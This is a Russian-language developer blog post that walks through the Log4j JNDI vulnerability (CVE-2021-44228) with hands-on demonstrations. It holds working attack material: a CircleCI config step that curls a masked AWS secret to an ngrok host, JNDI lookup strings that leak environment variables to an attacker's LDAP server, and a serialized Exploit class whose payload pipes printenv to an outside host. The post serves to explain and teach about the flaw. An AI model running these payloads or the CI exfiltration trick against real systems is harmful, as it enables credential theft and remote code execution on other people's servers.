ru:https://highload.today/blogs/uyazvimost-log4j/ ua:https://highload.today/uk/blogs/uyazvimost-log4j/
logo

Microsoft, Amazon и IBM признали, что их серверы в опасности: разбираем уязвимость Log4j

Александр Кетов BLOG

Software Engineer

Думаю, все слышали про критическую уязвимость в библиотеке логирования Java-программ Log4j, которая существует уже не один десяток лет, но была обнаружена совсем недавно. На сегодня ей присвоен самый высокий критический статус CVE-2021-44228, и многие компании, включая Microsoft, Amazon и IBM признали, что некоторые их сервисы подвержены этой уязвимости.

Ее суть в том, что Log4j позволяет выполнить любой вредоносный код на сервере при помощи Java Naming and Directory Interface (JNDI).

Последние два года я использую Java крайне редко, но мне стало интересно разобраться с этим более детально.

История о том, как я искал ключи

Начну очень издалека. С жизненного примера, который не имеет ничего общего с Log4j и Java, но даст базовое понимание того, как можно использовать уязвимости. Как-то я работал на проекте, где другой разработчик занимался конфигурацией Continuous Integration, но перед увольнением забыл (или не захотел) поделиться Environment VariablesПеременная среды — текстовая переменная операционной системы, хранящая какую-либо информацию — например, данные о настройках системы.. Полгода все работало хорошо, но пришло время что-то подкрутить, и мне понадобились то ли ключи, то ли реквизиты для доступа к базе данных.

Проблема в том, что на платформе CircleCI нельзя просто так увидеть значения переменных окружения, так как в браузере они отображаются в замаскированном виде. То есть при создании переменной ее значение видно:

А уже после создания, мы видим только маску в формате хххх{four-last-characters}:

Хорошо, что у нас есть доступ к yml-конфигурации деплоя <repository>/.circleci/config.yml, и первое, что приходит в голову, это распечатать значение переменной окружения прямо в консоль, используя echo, что в реалиях CircleCI выглядит примерно так:

version: 2.1
jobs:
  build:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run: echo "Hello world"
      - run: echo ${CIRCLE_REPOSITORY_URL}
      - run: echo ${AWS_SECRET_ACCESS_KEY}
workflows:
  build:
    jobs:
      - build

Здесь:

AWS для початківців.
Навчіться працювати з cloud-native системами та побудуйте власний застосунок для зберігання даних у системі AWS.
Дійзнайтеся більше

CIRCLE_REPOSITORY_URL — встроенная переменная CircleCI, а AWS_SECRET_ACCESS_KEY — переменная проекта, созданная вручную.

К сожалению (или к счастью) вывод в консоль сработал только для встроенной переменной, а вместо AWS-ключа распечаталась маска **************************, которая мало чем может нам помочь.

К слову, в первые годы жизни CircleCI это работало, но в конце 2019-го этот хак починили.

Думаем дальше и приходим к выводу, что очень часто переменные окружения — это ключи или токены, которые используются для аутентификации/авторизации на других ресурсах. И логично предположить, что если «вкинуть» переменную в curl, то CI отправит ее в сыром виде, и уже принимающая сторона сможет увидеть значение без маски.

Пишем простой HTTP-сервер на Node.js, единственная задача которого печатать тело запроса в консоль:

const express = require('express')
const app = express()
const port = 3000

app.use(express.text())

// Accepts literally any request to literally any path
app.all('*', (req, res) => {
  // Print body to the console
  console.log(req.body)

  // Respond with empty string
  res.send('')
})

app.listen(port, () => {
  console.log(`App listening at http://localhost:${port}`)
})

Запускаем локально и тестируем:

curl --header 'content-type: text/plain' http://localhost:3000/literally-anything-goes-here -d 'Plain text body'

Все работает хорошо, тело запроса вывелось в консоль:

$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
Plain text body

Единственное, что мешает отправить curlзапрос из CircleCI на наш Node.js HTTP-сервер — это то, что сервер поднят на localhost и его «не видно из интернета». Эту проблему нам помогает решить ngrok.

Для тех, кто никогда не слышал про ngrok — это приблуда, которая открывает локальный порт и позволяет делать запросы к localhost извне сети даже в обход NAT или firewall.

Запускам ngrok и просим его делать forward HTTP запросов на локальный 3000-й порт (тот на котором «бегает» Node.js HTTP-сервер):

$ ngrok http 3000

Получаем HTTP- и HTTP-ссылки, которые «видно из интернета»:

ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account Oleksandr (Plan: Free)
Version 2.3.40
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding http://5675-136-28-7-90.ngrok.io -> http://localhost:3000
Forwarding https://5675-136-28-7-90.ngrok.io -> http://localhost:3000
Connections ttl opn rt1 rt5 p50 p90
2 0 0.03 0.01 5.07 5.14

Осталось собрать все вместе и отправить curl-запрос из CircleCI. Для этого обновляем <repository>/.circleci/config.yml еще раз:

version: 2.1
jobs:
  build:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run: echo "Hello world"
      - run: echo ${CIRCLE_REPOSITORY_URL}
      - run: echo ${AWS_SECRET_ACCESS_KEY}
      - run:
          name: curl ${AWS_SECRET_ACCESS_KEY}
          command: |
            curl --header "content-type: text/plain" http://5675-136-28-7-90.ngrok.io/literally-anything-goes-here -d "${AWS_SECRET_ACCESS_KEY}"
workflows:
  build:
    jobs:
      - build

Коммитим, пушим, смотрим в CircleCI и убеждаемся, что curl-запрос был отправлен успешно:

А в консоле Node.js HTTP-сервера видим значение переменной окружения AWS_SECRET_ACCESS_KEY, которая пришла в теле curl-запроса:

$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
fake-aws-secret-access-key

Разберем ключевые моменты

  1. Доставка и выполнение вредоносного кода происходит самым обычным пушем в git. Это, пожалуй, то, что делает этот пример очень тривиальным, ведь у нас есть доступ к репозиторию и возможность в него пушить, а соответственно и доставить вредоносный код жертве.
  2. SQL для аналітики.
    Навчіться аналізувати дані за допомогою власного SQL коду.
    Зареєструватися
  3. Жертва (в нашем случае CircleCI) выполняет код, выдает cекрет и даже не подозревает об этом.
  4. Извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js HTTP-сервера.

Пишем и взламываем RESTful Web Service

Очевидно, что самым сложным моментом в процессе эксплойтаОт англ. exploit — использовать. Это общий термин в сообществе компьютерной безопасности для обозначения кода, который, используя возможности, предоставляемые ошибкой или уязвимостью, ведет к повышению привилегий или отказу в обслуживании компьютерной системы. является доставка и выполнение вредоносного кода, и в случае с Log4j в этом и заключается уязвимость. Камнем преткновения стал так называемый Lookups, который позволяет получить значения переменных из конфигурации. Например, вот как можно распечатать AWS_SECRET_ACCESS_KEY в консоль, используя Log4j:

public class App {

private static final Logger LOGGER = LogManager.getLogger(App.class);

  public static void main(String[] args) {
    LOGGER.info("ENV: ${env:AWS_SECRET_ACCESS_KEY}");
  }
}

Получаем:

12:16:13.860 [main] INFO  org.boilerplate.log4j.App - ENV: fake-aws-secret-access-key

Сам по себе Lookups не страшен, но настоящей проблемой стал JNDI Lookups, который позволяет сделать запрос к удаленному LDAP-серверу.

Для тех, кто не знаком с JNDI и LDAP, вкратце: JNDI – набор интерфейсов, который позволяет общаться с разными данными и объектами, включая LDAP, DNS, CORBA и т.д., а LDAP – протокол доступа к службе каталогов типа Microsoft Active Directory, позволяющий производить операции аутентицикации в каталоге.

То есть, если у нас есть LDAP-сервер, мы можем отправить к нему запрос, используя JNDI.

Не теряя времени, пишем простой LDAP-сервер на Node.js, единственная задача которого печатать информацию о запросе в консоль:

const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389

server.search('', (req, res, next) => {
  // Print request attributes to the console
  console.log(req.baseObject.rdns[0].attrs.q)

  // Dummy response
  res.send({
    dn: '',
    attributes: {}
  })

  res.end()
})

server.listen(port, () => {
  console.log(`LDAP server listening at ${server.url}`)
})

Как и в предыдущем примере, запускам ngrok и просим его делать forward tcp запросов (LDAP-протокол использует именно tcp) на локальный 1389-й порт (тот на котором «бегает» Node.js LDAP-сервер):

$ ngrok tcp 1389

Получаем tcp-ссылку, которую «видно из интернета»:

ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account Oleksandr (Plan: Free)
Version 2.3.40
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding tcp://4.tcp.ngrok.io:18013 -> localhost:1389
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00

Обновляем Java-приложение таким образом, чтобы Log4j писал в лог запрос к нашему LDAP-серверу, используя JNDI:

public class App {

  private static final Logger LOGGER = LogManager.getLogger(App.class);

  public static void main(String[] args) {
    LOGGER.info("ENV: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}");
  }
}

Смотрим в консоль Node.js LDAP-сервера и видим значение переменной окружения AWS_SECRET_ACCESS_KEY, которая пришла в теле запроса:

$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldape: 'fake-aws-secret-://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }

Конечно же, никто в здравом уме не будет писать в лог вот такую строку ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}, поэтому продолжаем наш эксперимент…

Конвертируем Java-приложение в RESTful Web Service, используя Spring, но вместо стандартного Logback просим Spring использовать Log4j (как это сделать описано здесь). Получаем вот такой контроллер:

@RestController
public class GreetingController {

  private final AtomicLong counter = new AtomicLong();

  @GetMapping("/greeting")
  public Greeting greeting() {
    return new Greeting(counter.incrementAndGet(), "Greetings!");
  }
}

Так же говорим Spring, что хотим писать в лог всю информацию о входящих запросах, включая headers:

@SpringBootApplication
public class RestServiceApplication {

  public static void main(String[] args) {
    SpringApplication.run(RestServiceApplication.class, args);
  }

  @Bean
  public CommonsRequestLoggingFilter requestLoggingFilter() {
    CommonsRequestLoggingFilter loggingFilter = new CommonsRequestLoggingFilter();
    loggingFilter.setIncludeClientInfo(true);
    loggingFilter.setIncludeQueryString(true);
    loggingFilter.setIncludePayload(true);
    loggingFilter.setIncludeHeaders(true);
    return loggingFilter;
  }
}

Запускаем наш сервис и убеждаемся, что он работает:

$ curl http://localhost:8080/greeting
{"id":1,"content":"Greetings!"}

Дальше отправляем уже знакомый нам запрос к LDAP:

${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}} в заголовке curl:

curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting

И в консоле Node.js LDAP-сервера видим значение переменной окружения AWS_SECRET_ACCESS_KEY, которая пришла c curl-запросом:

$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldap://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }

Ключевые моменты остались теми же, немножко изменилась реализация:

  1. Доставка вредоносного кода происходит с помощью обычного HTTP-запроса к серверу. Вот такая строка ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}} может прийти или в теле запроса или в его заголовке, главное чтобы Log4j попытался эту строку записать в лог, в этот момент и происходит выполнение. В этом случае нам даже не нужен доступ к сервису, достаточно уметь пользоваться curl и знать, куда отправить HTTP-запрос.
  2. Жертва (в этом случае — Log4j) выполняет код, выдает cекрет и даже не подозревает об этом.
  3. Извлечение секрета происходит с помощью ngrok и очень простого Node.js LDAP-сервера.

Несколько комментариев:

  • Совсем необязательно явно использовать Log4j. В нашем примере мы нигде не вызывали Log4j, а просто попросили Spring писать в лог информацию о входящих запросах. Значит любая зависимость в проекте, которая использует Log4j может выполнить вредоносный код. Более того, вы даже можете не знать о том, что какая-то сторонняя библиотека его использует… Например, в Maven можно построить дерево зависимостей и посмотреть, какие библиотеки используются в проекте: $ mvn dependency:tree | grep log4j.
  • Даже если облако (AWS, GCP, Azure, etc) фильтрует заголовки запросов перед тем, как отправить их на сервер, все не отфильтруешь, и проблема может вылезти даже в таких неожиданных местах, как имя пользователя или сообщение в чате (как, например, с изменением имени устройства в iCloud).
  • В нашем примере мы знаем, что переменная окружения называется AWS_SECRET_ACCESS_KEY, значит, если мы используем «экзотические» имена переменных, то нам совсем нечего бояться? Это не совсем так. Каким бы сложным не казался последний пример, JNDI может намного больше, чем «просто спросить» LDAP-сервер.

Ковыряем внутри JNDI

Забегая вперед, скажу пару слов о сериализации и десериализации.

Сериализация и десериализация в Java — это способ сохранить обьект в текстовом виде (сериализация) и восстановить этот же обьект в Java позже (десериализация).

Это как конвертировать Java-обьект в JSON, а потом JSON конвертировать в Java-обьект на другом сервере (почитать детальнее можно здесь).

Как оказывается, JNDI может создавать объекты на основании ответа от LDAP-сервера, нужно просто знать, что вернуть. Например, если LDAP-сервер вернет атрибут javaClassName, то JNDI попытается десериализовать обьект (см. LdapCtx.java#L1078-L1081).

if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
  // serialized object or object reference
  obj = Obj.decodeObject(attrs);
}

Дальше можно посмотреть в исходный код JNDI и разобраться, какие еще атрибуты нужно вернуть (см. Obj.java#L63-L81 и Obj.java#L227-L260):

// LDAP attributes used to support Java objects.
static final String[] JAVA_ATTRIBUTES = {
  "objectClass",
  "javaSerializedData",
  "javaClassName",
  "javaFactory",
  "javaCodeBase",
  "javaReferenceAddress",
  "javaClassNames",
  "javaRemoteLocation" // Deprecated
};

static final int OBJECT_CLASS = 0;
static final int SERIALIZED_DATA = 1;
static final int CLASSNAME = 2;
static final int FACTORY = 3;
static final int CODEBASE = 4;
static final int REF_ADDR = 5;
static final int TYPENAME = 6;
static Object decodeObject(Attributes attrs)throws NamingException {

  Attribute attr;

  // Get codebase, which is used in all 3 cases.
  String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
  try {
    if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
      if (!VersionHelper.isSerialDataAllowed()) {
        throw new NamingException("Object deserialization is not allowed");
      }
      ClassLoader cl = helper.getURLClassLoader(codebases);
      return deserializeObject((byte[])attr.get(), cl);
    } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
      // For backward compatibility only
      return decodeRmiObject((String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),(String)attr.get(), codebases);
    }

    attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
    if (attr != null &&(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
      return decodeReference(attrs, codebases);
    }
    return null;
  } catch (IOException e) {
    NamingException ne = new NamingException();
    ne.setRootCause(e);
    throw ne;
  }
}

Понимаем, что нам нужны атрибуты javaClassName, javaSerializedData и javaCodeBase. Создаем очень простой класс Exploit:

public class Exploit implements Serializable {

  private static final long serialVersionUID = -6153657763951339296L;

  private void readObject(ObjectInputStream objectInputStream) throws ClassNotFoundException, IOException {
    // Any shady shit goes here
    Runtime.getRuntime().exec("printenv | tr 'n' '&' | curl --header "content-type: text/plain" https://aec6-136-28-7-90.ngrok.io -d @-");
  }

  private void writeObject(ObjectOutputStream objectOutputStream) throws IOException {}
}

Создаем обьект класса Exploit, сериализируем его и получаем вот такую строку:

'sr'Exploit[''xpx

Конвертируем ее в Base64:

rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=

Собираем jar-файл с нашим классом и закидываем в любое место доступное по HTTP (например на GitHub). Обновляем LDAP-сервер таким образом, чтобы он возвращал нужные атрибуты:

const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389

server.search('', (req, res, next) => {
  // Print request attributes to the console
  console.log(req.baseObject.rdns[0].attrs.q)

  // Dummy response
  res.send({
    dn: '',
    attributes: {
      javaClassName: 'Exploit',
      javaSerializedData: Buffer.from('rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=', 'base64'),
      javaCodeBase: 'https://raw.githubusercontent.com/oleksandrkyetov/log4j-boilerplate/master/Exploit.jar'
    }
  })

  res.end()
})

server.listen(port, () => {
  console.log(`LDAP server listening at ${server.url}`)
})

И отправляем запрос на сервер как и в предыдущем случае:

curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting

В итоге получаем не только переменную окружения AWS_SECRET_ACCESS_KEY, но и все содержимое printenv.

В этом случае, как только сервер получит ответ от LDAP:

  • ClassLoader загрузит Exploit.jar и узнает о классе Exploit
  • Десериализуется обьект класса Exploit
  • Во время десериализации выполнится код из метода readObject() Runtime.getRuntime().exec("printenv | tr 'n' '&' | curl --header "content-type: text/plain" https://aec6-136-28-7-90.ngrok.io -d @-"
  • Содержимое printenv «сольется» curl-запросом.

По сути, во время десериализации можно выполнить любой код и даже получить доступ к bash сервера. Справедливости ради скажу, что этот метод будет работать, только в случае если com.sun.jndi.ldap.object.trustURLCodebase стоит в true, то есть, если мы разрешили Java загружать jar-файлы в ClassLoader из внешних источников, но существует способ обойти и это ограничение JNDI-Injection-Bypass.

Итог

Конечно, в Log4j это уже починили, но в целом проблема не новая. Есть десятки статей, которые так и называются «JNDI Injection» и были написаны три-пять лет назад:

И даже есть видео пятилетней давности на эту тему:

Реальная проблема в том, что JNDI никуда не делся, а так же никуда не делись разработчики, которые не знают о JNDI, но пишут Java-библиотеки, которыми в итоге пользуются миллионы.

If you have found a spelling error, please, notify us by selecting that text and pressing Ctrl+Enter.

AWS для початківців.
Навчіться працювати з cloud-native системами та побудуйте власний застосунок для зберігання даних у системі AWS.
Дійзнайтеся більше

Этот материал – не редакционный, это – личное мнение его автора. Редакция может не разделять это мнение.

Топ-5 самых популярных блогеров февраля

Всего просмотровВсего просмотров
229
#1
Всего просмотровВсего просмотров
229
Всего просмотровВсего просмотров
209
#2
Всего просмотровВсего просмотров
209
QA в CodeGeeks Solutions
Всего просмотровВсего просмотров
156
#3
Всего просмотровВсего просмотров
156
Senior Project Manager at Nemesis
Всего просмотровВсего просмотров
99
#4
Всего просмотровВсего просмотров
99
Software Architect at Devlify
Всего просмотровВсего просмотров
95
#5
Всего просмотровВсего просмотров
95
Рейтинг блогеров

Ваша жалоба отправлена модератору

Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: